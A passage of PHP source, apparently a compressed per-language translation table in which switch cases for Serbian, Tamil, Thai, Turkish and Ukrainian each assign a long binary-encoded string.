Q,-:��:K�\nk(�D��|�KA/7��#�v����)���M���>1���TZb��.iL�\\|��\$dQz�\"=�ص�YȆ�1��){'�|�R墋�^]��̅��F�8I����áH�!ؿג_k��8�f��.A��a�ԕ�kȕsDX�T�N]��ì�@;S�Da)h���և��N�m���:@�OF.�5*�b�Ш� ��hl�C8�9�m�.u���2f�����bN�5��O{�{ ��?��[O��L\\Ӹ�.S��{r�Ρ�SUg�^C�^��/#B�D0�d F���X�_ =�����bKY�(a�{����{��~�b��y^L҄�<���&���>�7�p��d����d@������%{���~Y����W�B�;��#��ʾG�\n�r��_���u֭��c��\r�X�˩֞\$�E�l0�Z�g�A��x\0�@B�\$���n:#j�+~��(��(�#h*B�&���X�\$�a��F)��O�����{bn��.V����]KTX�F�p>Ǻ�����.b�/ľ��U�z���(o�/ĸ��\n�B�����O��oĪ�b>�G�U��k%�%��Pl�Rlʂ�/�\rc\r�<�8�p� P���`�P����/m���o��s�\$b��j˄���\$�bd��o'�/�Z�cd\$��\0�&`�hp���M���g����[\0�k��8��G�R- ��P~�� ��j3�����l��v�#ꦪ�q�\$q��>1��Gљ �F��Q�;ѥ�����= �pH�ǻ\$_b�A\$��n�1�<� L�/ijx/cb-%e�f��q�zX<P:��<�8��4!D�*�:��4��B9mD�R<3L�%��RD\r,��*����%�>P �&#��7e�\r�e'��'��d2\"��| *����wX2nȨNX���%��.r��� �C�Z9%�ɒk#��Y�^d^\r�V�m�����~��^ɺu�b\\B6��\n���pj>��/�䯰��x��L���\$b�(�L������F�3�)*�@1,#4Xz�Yd� ���J�| k�/JF�r\0x�xgn����#b�8C8���0�U��\r*H&�^\r�l8��n CBB��gk����7D����<�<Y\nR��=MD'���N>�,��=��2�61� .��JF�K>�`9����:%�\0c�8e�� ���\nΦ'�6���\\�,'T0�d�\$��%�|c;L\n��`�C@ �=�'��\"�FfR���B�0<�C'�\\�d?f0�|\\J�Hs�#3�g���H˴#�:j��b";break;case"sr":$f="�J4��4P-Ak @��6�\r��h/`��P�\\33`���h���E����C��\\f�LJⰦ��e_���D�eh��RƂ���hQ� ��jQ����*�1a1�CV�9��%9��P u6cc�U�P��/�A�B�P�b2��a��s\$_��T���I0�.\"u�Z�H��-�0ՃAcYXZ�5�V\$Q�4�Y�iq���c9m:��M�Q��v2�\r����i;M�S9�� :q�!��:\r<��˵ɫ�x�b���x�>D�q�M��|];ٴRT�R�)��H�3�)C����mj�\$��?ƃF�1E��D4�8���t�%L�n�5�8���x�&�45-�J�h%��z�)Ţ�!I�:۬�е�*��H�\"��h\"|�>��r\\-ed]H\$H�2)�\\�����Jj�RH�R�I\$��,_�,R�ն���#LtU;��i���P��X\$�Tf���|�^@�b1'��e1+K!|�5HuD)���3���4�2���Rs!�f�D�<Y>�x0����3��:����x�g���6�C(�\r����u�<:�p�4���D�6��:X���0��XD #h�卶���|-���#��n�(��K��1��?KN�bښB��#\"�0|�������Q@%���Y�1�N���8�'�1��6�\\�^��.\r�<�`� ����hy���,54��ʲI-M{V��TɠH'ixZ��H¾Dk/@�a�#��:��6�*I�JC\"��*5.ɺ�����Ī���XNӎ��љ�\$� �b[��\nC���;V� �)BW �5���AOYԙ.>�i ��;�5Y���a1�IJk�)��!��6��p���FcKf<j¬F@Rxq��YN�Ŗ謥U��NhyF=�Y�Iʴ��s�i�y����1��-%1S��Rxϑ���c �(f,ĸ���۩cl٣1��Kk�V��;�S\$���5�9�vI�\r�3ŪZ��8Qm8*�W�y�qP��psͨ���s�@9C���\nI�-@�N�(`���BƑPA�)� ��Q�. �h�2�R�K�QE�H��G�EK[�\"\$��!º�!��-n]��2xk��gE��3��IńKl �Y��k!ํz&��uÑœ��;��C�p\r+2F�~�V�X�%e�՞֊�Z�]l�����\n�\\��s��Ի�\r��y/E��_�\0�0�X;!��㊵��n_E��g�]:,\"�YGU *pDU! ߈qk3��A���iD�HI#�q&E��PO1\rP@@P��5W>��c�ŋغL�&��\"�~Z�dleUW��\$J�3��4T�{ٌ\0zD�4�C��< Q�Rb\$�ޭ\"h�#���HC�'���6��Cs;'l, ��d� ��7��@e��'en�\0��I�;G<8D��JOE�����(D&ur���P��wHh�X�L����1T��,�2}K���Gc%:�3�E� ���;��ge��Ƽ!�\r�J\0�C8 aa2���rV\0F\n�Ix0`ҽ��l�Վ��%�p��qTu:%�2N��_C���قTd��� �8P�T��I2%d��G��P��J��)W�@�-꽗�Ǒ'x�Ŋ�\".�_�n�����\0�!R��p��+�-D+���̣��&%��*���\".���\$R'�SvN���\"g):a*�ߚ�Ʌ\rt,h�+H�g�q�������JlugD,A���S¬B15c_��m�w��K��O���RLO�#�Wd`�7���cf8kR�*\"J�Y\nAH2�p�kâ�\r�t�ړ�TX:��dғ6����9-&�i��\$��>�D����A\$�Й:���]���j�`�C�ru�8E���)�g\\2@|����)��ʋ�9���Yk�߮+9!�;� ����4�9:`�_+0{FSs:��ʓZ��L��\$�qC�\"N�#\nyv5Re��o|>�A���U���bs�Ҫnd�8h!���5�K�@P5�)���_��_oO���Y����4`�D��HT!\$\n��Nt(XG7�s�.N�-bM��&u�O/ddu��A�\r��i=F�u7��\\i��T�����R#�M���x�X��G\\�8�P\\`'[��x������e�ݝ�>i\r�;Yn?t����M�j�����@��SM�~Ւ�g�1����_�S�I���B�!jP�E��(�u��㈔���z����G��7�{I�|/�.�2E��u�;\n����B�����a�Q�V@�H�,�wTd�������)ց\nw~��A�+ŀ��SÔ�lI���,�^�N&B�{��V�`)�l4��͏�v�.%ZU������\"��c\$2c��=�P&?.�B�:J�xIMTL�\$C�.j�jՄ*��f(�,��|�N��p��^ө��?���Pr./�jH͐nֈB�.�ph�0~V�ĂO�.�G�M� Pe\0l�t\"���0�! ,zT#X���c:R��\0(dql���¤��\"��JŤZ������'#V�0�B�%ĩ,&��'�F�P�?�K\"\$�@��zf�����=�P>L�30Un��cp��Ǚ�H��ְQR&�V�p�O����'��I\rp���l�J�,��k�Y�t\r�yp�1��q����`��Z-q��1���o\r g,^T�s�@\"��>O&�0deo����+��d���1��L��Q�&5�����d��R�&\0��/ .���߇D�ˮ\"�-��*;\"�qjjv2=r9϶#2A˪��4��RT�\r�O��!,J*�Hw�4.�*���3�>0N�g�M�gbޅt�14*�~lG�(q+M�&H�(�JD��fg� Ҡr��1j#\n�э��'�.rW\$R[\$�\r�CRtuP�,�D:�.)�Ff��e�XG�eRR���0��\$��S�ƍ�`P��MO0��2nD��QY&b�3��<�O3H�Y3�Qs-��|�\n�3Nz��M�6�L�nJL���H��\nH�\$�sjb�z��C�bpBH�!s4q�:�QU!B�;Q�;�w62���{&<��vJs�=-��b���dd��̱�S�=��)gg?.3SP���{#�0H�ǂfQ&�h?:�<GJ?B.��2� )�S;�I>KJ٨\r733�]Df�'�%�(zQ��a3d��B�~��X��D~\$�A᠆.�tW �#H\$�t;n��4�Ib&T4|�h��@��C.J�J���`OJq�n=�D�]D�uHq�-t�#��I3-dcL�\r2�e\$B���@�:r>S;+dZ�\$����\r)i����T�u���H/sQ�o ��R\"��u(UO���\$[8�CTOg�}S�Г�>Z�D;���F\ni�8^:�d�vV�fM� P����u��cp�5��N�Չ=r% b�(@���\r�V���)��=K4.��~�k(@���VF�I�\r��\n���p�f\n@@�1��=����{ʒ,h��N�!��Q��\"�� �*\"lԱ|�%\0��f�� �����\"[[�;\\l�L�+���,��S���Բ��վ������\nwN��1p�|� g�֥�`Ҡ�>�>P�c8!��֧X�j�c:��6��t�܃��)#L�+��`��V-��+.�k�WBl�m�j��11�}���\n�&�0��:�2,u�X� c0�\rejEp�\r&\"5L?�Ch�^ A:�ش�@�(3�0�{�=N�@� ���\r���4�u⬯m }�@�le��7n&��tWslv>�\r�ʝl���tl��/Sq5#K\r\\��G�J>j��CQ\\'6��b~�*.`";break;case"ta":$f="�W* �i��F�\\Hd_�����+�BQp�� 9���t\\U�����@�W��(<�\\��@1 |�@(:�\r�� �S.WA��ht�]�R&���\\�����I`�D�J�\$��:��TϠX��`�*��rj1k�,�Յz@%9���5|�Ud�ߠj䦸��C��f4����~�L��g����p:E5�e&���@.�����qu����W[��\"�+@�m��\0��,-�һ[�&��a;D�x��r4��&�)��s<�!���:\r?���8\nRl������[zR.�<���\n��8N\"��0���AN�*�Åq`�� �\no\0�7�2k,�SD)Y�,�:҄)\rkf�.b��:�C� �lJ�����Nr\$��Ţ��)2��0�\n��q\$&�����*A\$�:S���Pz��ik\0ҏ��9�#xܣ��U-�P� J�8�\r,suY���B�.��'���E�\\����W\"�u,�ͱ���(��J!\n��7\r�/֑<�-�2�W*��{cQkR�T�P��+C�+�c@٥+�-V���淺�ԭ�n�(�6���T�����ܭ��2A�O���P)�#��6�J��Z*�ʜ��W��9<#�\r�7�OT�sb|\n����h��qC\nRR�B̈́��5|B��h�3)ֶ�1+%�\\�I��5��NB�I�pD!�SG���9�0z\r��8a�^���\\���^\r����v�<�3��O�ó]�����#p��KN�]�p��|��c�7������&\r/��\"9n\r��0��nM�r�3^�ClD�a�C)JV��Ms�-�Ee�/�Z��0�2R���g;U=�u%/wQ�6�\rs�K�����D3 X7\$AM�!A��K��=e��qţ���e��͔1pՎ�soe����A���W�{�Y*��\n����#Q!�6@@�l��ݹ�_QIL�5Z�`��tO��\n��F� �i3�v�ϴ#`��#�l@R�\"�5:\"WJ�d}P�jbt�X\\>w.��C��C¬��E)=dž��iy�踥��9``lnG��0��QC�)i�+7�P{��q�X�qfY�7�i#�w�Xֺ�\"�\"Y0H�Ew�h^�}6,��?�\"�)Z%�6�d�1}��sJ%T�d*ђɺE=GX��5�a J�yH �ĸ����K<��\n�ғh��:�x,5��,�D��+��y�E�ë'��^P��Y6�,�fQm��)V�b\\���ō�1.��OY�49\0��w[��\r�3��p�y-�rc\$���(mo!�A��Cc=��3@�@P�:+`���*(a�+���O�(`��0��1H6f�L4v���]^��@D� Ar8[��?\$�\0�p�vo�D��Z���diL�FЉ��\n�g�6�&r�Bf\"�Y��rD�Jr�@3�[�j�uEU/��֪���g-��ڒh�SyQ*�4R\0����\r,����y���;�WC�p\r-@2T���ڋSj�]�����d�͍��v����nmM��@�ݛ�zo�5�6��\\:wqA��8�AD�Y�r���� �q��B�����A�=�M&짫u/P�sA��X��W*�DNP��[�Ț�A(P���:��H\n\"��3�x�}�,�Na��~`/�ר�fY\"�L*8��a]TL(G��=��'V |�,��?��JY�G���^B���Q� K�wEr��E8�(y@�=Q��Q�)�ajBL.��88��w�(��,���\nD�y/fQ�'j��ڌA\$���� iq��1���O�\r@8�60r]`� �&���hm �1�7!�O�p��� Lk�Mnd�r?\rc �T�S�qK2a�Ve��\r�!�8��S�'�����N��UK�Z\n~��3�P�S�p�a����~�~]�\$��f����B(�5�-��cV�=�<4��0yq����W��c�A����\\pB�L��2��Vav��<'��@B�D!P\"��\n E ��3��{�^�26�42���5�i���Os.)�����Uo�*R�oi�ו�NW '{є�H�㛺Y��0�B�!C�2�RBUE�t�m0�A���X=h�u3>W�?Z��k�!�_�jX�P#�3��e\$ʣ�-�|<�'��٩,�a��ϭt5=V����u�w��M�~z�����7��qڀ�*�0��D��].���Vn{�2S6uX�8%\$ ��:C�u��H2� ��~#g�&�I�`?::�p�0������+�N抷���o�A�{�{�C J��p%L�f���o=����\n0�=�B����J 4i*ǃF�\n���4��\nHo7�0\0�\r� ��\n`��J\$�����=\"��܀���w��槒��y��5�����ߌcp.�@(�'��,㨛�pzXh�˧�&*�x�C����H�\$��Nx�2�N6�l���ʇtAP��D�&�� �ʽ����,�Oh,��g���W\rzCO2�.h����i�bƨ�@�L�_��l�\$��M�,}����|��N���o`�|�)��fT|*�*�fd��̓�.���`� � \0@Ϧ\r#�\n<`�����>�J�����JYH��l���z�})r#g��0Cr}��0��E�:����@����HN�u�ny�����4:���ͥ1��\0Äu�<�e�oA��B\"���\rmѲZdpr�Ъ�l��Bu0\"�h�h�YR���B\0�P�H�lb�Pq\rI�\$�»K��#���2�N����!20��]g�j�0Ԩr>C'����L\"�#��)����r���B0�wʞ�OؐH'�(b���D�\"*�,ʆ�������R�r��'Q�W�I*r4�c@t�����1\$����@F�t���YE.���\"�sʞ*p��KZh␚J�)�<h�ެC4�β\"zRP����3�4���<�H�d�6m~c�nf\n���37BĢK+3KXFmr�.P�À��|3�z��:�W2��S(%1:�V�3�~I�`k�@�W\nlC=2=q�\"3���5ӵ=�?�S(N@,@i,�!;��R��T{�8����-����4C)��?'���\\�8GGJRe*N i̾�����S4�r�����)�6Q����?7�5�=EPl�4}3�iI�~�q�Z4�������2�A��AG�������K��\0� ���,Z��!Ѭ4�Q;.f��'JG���D���0���+7��BR/?����3�\r0��R2�>��x��CұD�\"wu ���s��49?4Q�?�AMK��n�Jq�S��*4-?�DpG������aL�?=�z�i�FiXUQ=�7X�=;�EYTP�����V�XթW��f�/�D\n��*��5�i;t�\\� �Rfm;!��OM�[u9[�O@q2�qWe�Qu�.Lf��@�=6�0�N��!^�/!�I�7-\n��nG�Y21b�*�m.ɩp�@��a�^_Y4�d����c4![ҁR�t6eR�f�U)�Q�[0]B�I4iȃ'�^3On8,�a5eKt���G���~��x�C�sC�`�u&d����a�ңG�Qb�g5\r�1\n�A�+2z�����k�Q ��\$H�O ;_�\"E�k�[e�h�i�1q ��`��B���h�G4� ������oS/���pKcE�g�7B�A�1q�eiS�A\$�7)9���AU�C%�Wv�/V�\"�[L�`w�iV��h�qBu�APY_����UU�lu�gW�P��I'Y�5|�!xGj`�67�v���<'�w�]קA�a��M�d�'����[��h�]i��5~�_���~q[lW�h���13aW���O�vmx\$��I�������O��Z�� �C�t�v�+�[:��IA`��/�8o+��1s��R��r�S5�U/�P�W7ט���1��e�z�a`u]`ŕ\"h�Zvr^uaXˋ��|v��À���@�-�x#k\"�8~��_W��X�٭���ߎq]��%9x�3�J������L���&sb��[)eW�U����_9@���w��wT9=���|I�UÖ.7�0p�W����x�q�9{�V�����#��SN��Qx�>9K\\\n��Iə���3�+lYo��swIj��/���8�M�%�o-���JC�\r�ce,������x!�0����jі��{��r�ٟ�v��Y)����_gy�ʩ��e���I�Y��Yס����~����A�xF_~��+4\n��N�E{X�A�U�� j�Gz_`�cJr�Lr��E\r�����1�1�ZA��E���T ���\0x����@Qt�^�+�J�������ef/7�rm����_)�CWWrS��MY]Z�7��\\�\\�����A-:8QTw���O��4d-9��}9�+��.�,�9�\$��0�>�tE\0�<�C�]|w�<z2�q��>xR���SU;W�,��~Se�6�0�@�S��m���\r�i�2�k�\r�\r ̢�*+��=c�\r�t��ĺM�\n���Z\0Am��E���Oq)�w�J�P�ݱ�>�p)�먕���i�r!H+��xq�ɖ��������Za��q(-V��sא����zT���x���ѭ�&g ��;�=̖�����G�O]:9���\0�;_���4 f���Yiu�q� ��;ZtP��w���������Z7�@��dVE��(��l��>���H�g ��2A��h1��u��k��ț�}TS�>��w<͞��:�x=���^d���8\"a��p�z�'Z�zaVI��n��!���\n��=��;����`�5\r�ч�}RV���oIO8��V1�:�̽��s���F ]��Z\0�E�Ć{Z�ffD��Ng�%����Ơ��u����@���\r��h���Ê'����\n��q���1*����C{<�ˑ�eR�'�s�P\n�����kw�l�T�'=b5�M?�Z���I~��\"�t��Z9��v7a4�ξ9�\$H�I���9.6\0� \0t ��@�\n`";break;case"th":$f="�\\! �M��@�0tD\0�� \nX:&\0��*�\n8�\0� E�30�/\0ZB�(^\0�A�K�2\0���&��b�8�KG�n���� I�?J\\�)��b�.��)�\\�S��\"��s\0C�WJ��_6\\+eV�6r�Jé5k���]�8��@%9��9��4��fv2� #!��j6�5��:�i\\�(�zʳy�W e�j�\0MLrS��{q\0�ק�|\\Iq �n�[�R�|��馛��7;Z��4 =j����.���Y7�D� �� 7����i6L�S������0��x�4\r/��0�O�ڶ�p��\0@�-�p�BP�,�JQpXD1���jCb�2�α;�\$3��\$��4��<3���/�m�J������'�6��Dڲ�6��@��)[t�����+.�~� ��s0/�p�#\r�R�'�L[IΓʕEhD)1q7��h���\rl�\n(��E��9����*P��>�t\\�8�*/�0��C�ܺ�+*5Neķ ���Mh��<)�2��2<DA4���V�l�,5�;�,+d��E�;��&i�d��(UGT6������;���?I��GwY���i Z�Z�rb����ž��U�6LV\nz�9D�S��Z��6�bw��60��+;��Đ��F��ApY�7Y\n�^�Ӄ,E��g+��9�0z\r��8a�^��h\\0��lx2�Ap�9�x�7kC�\n7cH߮O�ì���/���5�A�6��ۭ���^0�ԸA���x�@��)�\"`����:�y�5]�MӷD��r�۬\r6�-�YK�QF��I�N3�O��]5�9uQ���M=���c�Q;}�{���rC��p�]ێ��'q��.s�(�҉�{<����\\\\�J��b�)��SQU��� 'p�ZB&�0��`���C*�K!���O �S�H���'��P��lJ�Z*�\"c�F���_\n(�<�YJ7*0���v��~+&=��8��h�N\$�\"z�J��.(EW���Yb�+�خ����ll�4��0�۠�\0|�&��@�c�QeQ���@�V��\\;(L�\rZ0Lbኬ%Ę���r��6F�P�c`�X4P�Jʉ#����0�!d8\n\nr>C3���u.nIF1�Jp���!(���P�y@Y>p�c�w�=�7�C\n̚BRq��'\$\$D#�n@?���A�l�7�`����=r&e�ɍ�T\r��C����`��1����� \r��3����r��3�x'�%pmH7T\n\n�)q��o#�=-� aL)bLr��\0JH��bx��r��-Β,��mΥ5%4��.�Y�XFO�*��Q�x*T�)�S�͈7(*�Qc� n�#(*X� ʵf��29�����x�����+40�4\n��]aݫ�0��ih�z��Ch������{QjmU�����Z�al`�����ځl\r���7&�ݛ�zo������a\rg�ş6�7[¨��h�'�_U��XQ~��3�uM�Jȩ@t�c㪶�>(�|���A��@\$\0@\n@)PHR7(�xx蕨a+\\�R�Vh�,v��Q4�E���qh��G?�\n�-�f�G2��US������p��W�4��ʌ�BjI�%ɊF��I\$���\0�\\�n784�A@0�\0��xm���-=s��b�0'�eA�f=%��\\(Ѩ���R�WI�U�B�ekHR�&x�B�|%�~QgHP��E{�A*wZP�f�bٷ�,�E*��U���^����>A�3�����>�#K�ۜin�]���?�dT=�V,��j�I�\"\".D�B*��O�N&=\n, �p \n�@\"�t���&]N���a�ǥ��9�b��3�pQd�zp���|E�#�X��!wÁb��9E%(nTҵ5t4���xxP����Q%��X�&�K�:-}�E��0���Uk�&/��ю]�v�]DT� �Ƀ�.����,u:J�=�#���l2�iw}{`K�d�j�mE�T��ũ)GdF��en��+�JxHO�\0.de�p�W!]���ٽ�Aq.1���Ň��K��/5�E��,��N�e�f Ҩ9���-H4���p����ƁC\"W7\0*BIZw~�����Uʾ_�]���P�c��=h�Dt\"�J�0��ĸG� aJ�.~(�)M���v�=���|j|v��+Wŕ!�1 �A]�m)J�N�#�����מ9��tD��S�����w�^]�T���|��1ƪ1�r����C��(�J_3�<��q͂�\",��Ls�ژ*�j���g�|~@!�Bw�&l¤�5���(}�.[I�\0^3D���Edf�ZY�rDP\0-H�sN\0��;y���R��.n<��Q�����c���1�Ki�'p,��&+�pI萄h����xA�l��*DF\nc�jG��\0�b�}�p�\"��Ĩ2e8�D�;�9N��%6�O�r�F�fRCA骄e�_�l�`\n��GM��R�c�BP�9C)�TK�̂~B���Q�r.Ej�ej'�@D�00%j6�v^�._c�Eb�C�~BP\\�f���J9�E B�*Q�pQN*�Ђ�� � J�^Ж-���G��; \"�;PQ���HF��DFl�ikq�r�ii.�quѽ/������5��1��D`1*�)h�o\$BP��\r�b�\"���&%-�E���QB�:B�쁄�+g2B�!-��2H\rp�Q�9Џ!ko!Ϯy����\"t�D�-��\$�S�Ma��#g2C�%�E�jE����.�z.�N22�)r�n�Q{���\\�h����d����*p���wM�Ҫ�-��C �¡�����G%2��Ͼ,r�+)~�ғR[.I(��\rN���2��G\0����\$�v�\\�`vc�\r�L���D%��ͦ�P�b�>%�B��2�|�MP�J�����n#\0sG��5315hr�DJ\\g=2�K0�L���-6�H��a0d���+���Xs�d��X��[0�8���#bg'C�����&��R�V�2�HtI��N\nE��E4|�h�e� ��_o�<\$X� .�S�DG�O��;��6�T,�g7�7O\n�/�CW;\$Z��bW�P��Q��T\nNM�=�.�)�C8!9�\0u�b7�\\;�a9J�9��8oM �p��zV����x�\r0H�J�6o���Ht�E{ESE�Ft�I� �W4tpwT�J2�7�S%<{��\r�����8T,x�3I��H�G��\$+�:#h�O�\$)Nj\\�w�k9��1�ON�<%����M/t�6R��`�Q�RS LJvt�82SE�.��3K�AKԕ,�:��>� @�\0���_UMJuZv��� ���h�IVdlu~�r\r�wW��&hV�nB��.{:hr0��@�֧O�V#�F2�R�][H[�59uOM�\\F����D�9V���S�E��\\��L��S��T2�@�[u�T�aG2��f�u�[ԓ\\�Y�D9�F�/\\�a��\"�+p�Y�Y��G3�Y� �/�W� �F\n���{]��am��T��O^�AUr�_QIVge�kbR�`�SE4�_OWz��>4�Ai&�\\�rZ4�M�H�I.`��d��1M)��g�ukS521�Fq�/����e�k� \n�\r�2��Hk�K�'��1Ʉ��dz>I�(����Z\nkU7_\$�g�PR6RΧ�edD�ʸ��N����\nk=�A`�t��3�{4�hI�oZ��mC�R����\r�V�nX\rl� �PC�V3\$CZ+\0��&�t��K8���\n���p�pDx�xy�4Wd+�J�tu\0��0(%j�n\r��sBf�� ����ѭ�E�|ß<\0�g�8א9E�m��@��Ac\rxr8�*Ca�Ъ5�*\$��r2+��ht.�bKν` ��j���N�f�=�Af����k�T_�;�Qa��w���ʠM�B�FO/�O7!\$6'͇U�-�7(�k8o����E��A��?��u�k`@\r���Ƥ��وx�gdDd�Z�EO.�:��+��tSʶ���-ؤ��z8R~8H�<r���5�-z��M&O�r&q�0�D�ZQ�|-�\n��`���C�ud)�P�B�h�V�z�^�jJ'�J�J8.�eEE����,c�_Kp�-���BmLj�vd8<2�?i0�-ňěsg��ir�ꜰ�I��R��s4�G�tMq�8�÷�\"�z� \0t ��@�\n`";break;case"tr":$f="E6�M� �i=�BQp�� 9������ 3����!��i6`'�y�\\\nb,P!�= 2�̑H���o<�N�X�bn���)̅'��b��)��:GX���@\nFC1��l7ASv*|%4��F`(�a1\r� !���^�2Q�|%�O3���vM��A�\\ 7\\���e9��3���a:sF�Nd�p���'������tFK���!�vt� �@e���#>��ǜ��㑄���̠���%�%�M�� ��:���I�r�?��F���� 5��� �\"i�h`t�tꐄ2�{����:/�B����0�Kt 4�\r�@�\r��PX9�`�*�#��z�:A�cJ�n�V�:���:���01b\n���B�^-�q��J�I��Ƽ��0�A�.4C(��C@�:�t���#\"7#�rJ3���<?H3��L� ˎ�ྸ��XD #h��&#�x�!����@�23L���\nb�TФ�>��NČ#�|��(�49�0���K�ܼ\r�¢2�rQ>:=���'����א��'>qb����<��M��0Mp��ktĤ��� ��3^\ra\0�9J0��-.�\n;-���)�5��h2H��\r}h2��4��9.��:�(+d�0�O�9�ϥ��(od6��꾏-�\$�4�����.�4�D��>0�@P������o\\ؕ�O\$VVwa�y�����b��<���ˠ��R����7QHb���I��(z��_.ZN9�B)u?���V��w�6E�y4Cx�3C�bNa���ױ, �#p�FC�h1�����ac49q��0��e�5�C(P9�)<I�H0��)�H@58X���6����� \$n��C���(�E�q�J��Op��!�zf6��<6/�̘�C/�#J��TϨ&�5b<���*���8��V a-%ļ�dL��4&��Szq\r��:���[|O�\0007(%��@nQJ1GRp��3d� �aC�q�%퓰��W&�:����l'�e)p�x�QC.�H�<bB�P @��ux�� `����\n)�9�?�<¬\"��שvG�4��<b�,m������� a�9��� �+�{@�&>��@�r�#р�H%�PX�' \$<�,ҥ��R�pњP@�C��U��3\$L���la�4>��\\���3/�˸1aɱx%�r�\0�¡�#��G��{lJ\$��� ���#R�ːi*C�gFM�����~�(�3��8oM2����L������.��\\;�R:�Jaa����K�&�R��)yfd�\$H�;������\0U\n �@��DKO���[<h�};�\nW �&ZMJ)Pf����,��H=6�\\�4��Q�(8 fAD���u\rgR8�ä�B2=\$@�غt��Zl���є@�ʚy�}��R���<r!)�p�I{Q<��8�lo���K����3:iM�\r�Sp�Qy���5�����\nA�C��ܯ�.h%Z��tZ���/S�L��9��͑��E���{HH�\n1](�s],�\"�*,uK�\nh�8:��HC�����c^ښ\$��V��<^������d�@o:�a�B@�CWK���s�U)#��ʹK�(����\"�0�pM_-�Ar�Ӎ��CH�L���6A�QGU���v_�<�=�Kѱ�@�ɫ����T!\$ RK�Ė4R���� 9'\ni�:�d���/*�M������I�Y9X�dŨ��<�TE��.�,m���&*��I���'%�)ŗ�kz �1�8��>i��k6�l�3���X���w'r�\rl�RN��Vv'�0��s,�B�9�c�s���/C1\n}��<���저�T@L,��D��R2F���>�`�\"5�\r�)#L���pw��\"�2�䊉�j�H��������JX�|j�d)Q����H�l����GD@R^ !�Ei{��Q6�z��lG��d^�(v� ���`�9�nis�\\����i��������MAs���6��6Ӑ��U͡�6�XQ���\"����t���t%iU[�1��u_v��#w \$&�5��k�[��v:'í87nǷS��Oe�lU��K���3�|'�Yh��?|���X��{���d������|.�����F�E�\nI|�%���V(7�� �4k�y�\"�|�)�Oϓ��L.���S�6�D*G\"^����膍�{~H�|m�����\\�*i��=���G�l�>���r�4ְ�X1�e��I��A��N��ʄHџ��,�~�%.X��ژ9jν�lV.��\"�.U��\n�-PVn|mF��.L�!�(��X0Op���\0�\\[p,�0D(p�<��d��c��&C4-�2�F��h~C-��/6��OC}����U.\$�*��f��)�4.�WW��_ �_pP��\n�E,nD�>6�6/�Ay\0��=�0��NO�����W��=�`[P�����P �\"��,\\��Q\"�1�*\\���1*�p�)�CzCPD�\$pGQ&�#�F��P��D����B>j����@S�~�-��B%�WK.9E��-\0�H�Ԭ�61����E.�,H6P�6Y����~��U� 4�v\" �;��@�\",�YOb�f��LБ��Ly����O�xg���J n=�DdP\r�VJ\"�Y@� �x�VHl `�\n���p7�Rc���(��%>9��%�q���NHrT�mF�L��N&����\$@�\$6C���\"6���Hp)��Ēr&Nk\"�Z�8<b|j�t>1\\�\$(�be�\n�x:C�\$�Ԣb.��\"滛r�/�ܡ�|f.2�B��&��+�Jڹ�&˜~\r'�R�~�0� i��B1�B#!\0G��1�%hE��Ϫ��z��=���=24J�4�\r��i��,\n��)�/��)�2DO�zp�4S6:e�M�d��{�5�Zlf�I��fj��r\"�n\"ޭů0���89�*��>i�B�J#��1�P@";break;case"uk":$f="�I4�ɠ�h-`��&�K�BQp�� 9�� �r�h-��-}[��Z����H`R������db��rb�h�d��Z��G�H�����\r�Ms6@Se+ȃE6�J�Td�Jsh\$g�\$�G��f�j>���C��f4����j��SdR�B�\rh��SE�6\rV�G!TI��V�����{Z�L����ʔi%Q�B���vUXh���Z<,�A��e�����v4��s)�@t�NC Ӑt4z�C ��kK�4\\L+U0\\F�>�kC�5�A��2@�\$M��4�TA��J\\G�B��4��;�!/�(+`���P���{\\��\r�'��T��SX6��VZ(�\"I(L�` ���ʱ\n�f@��\\�����.)D����(S�kZڱ-�ꄗ.�*b�E�D��~�HM�V�F: ��E:f�F��(ɳ˚l�G�4�'R���dX#D��#�a�+�a�P����6�Jb��S�Z����1D�tJ4MM��'N�4O�j�@���#Q�1*��&�GA�C�[�%�Nܦ�����\"�GA���C(��C@�:�t���# ���\\7�C8^2���\rØ�7�!�0ޣ(�p�0�7\ra|\$����6��x�!�b�\0�2:����\nb��4��Z��1|<ݦ)q-f\$Ѡ��OĉI�\rZ�Y҄&�7�_ir��s��i�-Hٴv�j����n��*\n'�B�^��A�3�&̜��eW��\"@��H�Ω��� �%�)���4�oy�f�I��Z�W������%�0��`���:��Y�YkcW�-�K�\\UEi1�L�撖|�e�DhF��kUM�mi>L�:l�! ]����kAH�R�!Ak\n�X3�r���F�)J�B7*6`o3�9�x\\�C�^�A#E���11=8���ch��O�l���Rي�i���4�!H��\$Ѓ\$\nΆ�3p*�g��Z�jx�[��Ic�Pu(��c�����fz��V/�h�F��F�V��\0*x9`��Q�����rG�C��0f\r���5�Zy�\r�,<�\0�C�cgT9�g*`o�@9�����a���X��x0RZ�ѻNi!/��@R�U���\\A��+�L�E&#�+��h��� X�����\"V�b��&���#l.Z�*%�G��X�L�%F�DF#�\\푩�G ��ei ���\"�V�5?&�\rH��&��w��̚��;�F@C�p\r+t2H�����\\K�s.���b�^�z/e��`\0��F\n�� \r�-���\"�ثc,m���>�X�a\rg!����s�(Uk\r.~�QS!���^��\r4)X�H,���S6j(��|JJJ�(��O�1J�����\nQ�)E8�#FxP�0�m�0���|�O�nA ���~�4DW�<KC�ȏ`��)�=���n�J`Z\$�BT�c!�\\��oSt�f��)��!i�m�<��9�.��*���9��Wd�X'�\$���� id)˲0���t8�ɮ0r\r��Ff��_\0�1ƖFu� ��2��\$�\$�!MMM��H��Ob����61�TK/2�кEP���eaGvW��#\n¤[i_f��#d��[s&���^%��|��/1 A�A�3�J-��9Am�`�0M���Ez9z+lm�^'y!6�̜u\$Me�'&g[r%d �`4����HG2��D�����F����d2���H�,��5-\$iJ�x��P)\$^�[үh��_��j�Jwx�\n�R��+�!m% ��p�����ȃ,6n癁E��q\\Z����hB��(e^���!�ʂ�)� �-o)�J�v����*�@��e�6fg��o��?���6���o�\0@���X�i|����F�e��K\0�S�{O�\nQ�G֑���Y���Y \"U!�t.�f��i#h�پ}��R�l��=������B��΅0�t���L?,�B�qt+5�)D�5��\r.k{V@t(w�\r\$��h݉�R4X�ҘB��e\r;A�2���o�(-A-\\܈Ц��[���[t/%8�I�K���ʶL�y���9�3CP陵ؽ� NlIu*h�w��\"��>�\"h���KЛ�!�۰�! R4* �L�<��oc�\$��^�;��w����C \0���#��V��\r���;ŋ^�Tnb#�l��x��<)N<SE�j7�ʋ�U际}m�@�����DD�4��T�8��V{�٨.>Ѯ{x�������>�K����-2K��T��B\0��S1I�?a�VA�����V�\0 